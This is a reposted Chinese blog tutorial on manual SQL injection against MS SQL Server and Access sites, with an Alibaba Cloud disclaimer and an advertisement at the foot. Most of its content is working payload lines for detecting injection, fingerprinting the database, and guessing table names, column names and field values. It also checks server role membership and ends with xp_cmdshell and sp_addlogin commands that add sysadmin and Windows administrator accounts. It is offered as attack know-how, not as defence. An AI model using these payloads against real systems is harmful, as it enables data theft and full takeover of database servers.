Sql Server 手工注入講解

來源:互聯網
上載者:User

標籤:資料庫系統   access   成就感   count   手工   

1.判斷是否有注入
and 1=1
and 1=2
判斷注入的方法是一樣的

2.初步判斷是否是mssql
and user>0

3.判斷資料庫系統
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access

4.注入參數是字元
‘and [查詢條件] and ‘‘=‘

5.搜尋時沒過濾參數的
‘and [查詢條件] and ‘%25‘=‘

6.猜數表名
and (select Count(*) from [表名])>0
這個比較蛋疼,總共有3oo多個資料庫我手工沒有猜出來,有神器sqlmap跑的都顯示不完,剛才返回錯誤,如果填上正確的表名就行了,下面是猜欄位,其實和access資料庫差不懂,學這個就得會舉一反三,這是一些步驟和語句,我給大家自己看吧,主要是這個站比較蛋疼,對了工具的使用會在以後的教程中介紹,學這個要先學會原理,只知道用工具注入也沒有什麼意思,要學會原理,有自己的思路,然後自己寫工具才有成就感

7.猜欄位
and (select Count(欄位名) from 表名)>0

8.猜欄位中記錄長度
and (select top 1 len(欄位名) from 表名)>0

9.(1)猜欄位的ascii值(access)
and (select top 1 asc(mid(欄位名,1,1)) from 表名)>0

(2)猜欄位的ascii值(mssql)
and (select top 1 unicode(substring(欄位名,1,1)) from 表名)>0

10.測試許可權結構(mssql)
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘serveradmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘setupadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘securityadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘diskadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘bulkadmin‘));--
and 1=(select IS_MEMBER(‘db_owner‘));--

11.添加mssql和系統的帳戶
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add‘;--
exec master.dbo.xp_cmdshell ‘net user username password /add‘;--
exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add‘;--

本文出自 “redBull” 部落格,轉載請與作者聯絡!

Sql Server 手工注入講解

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.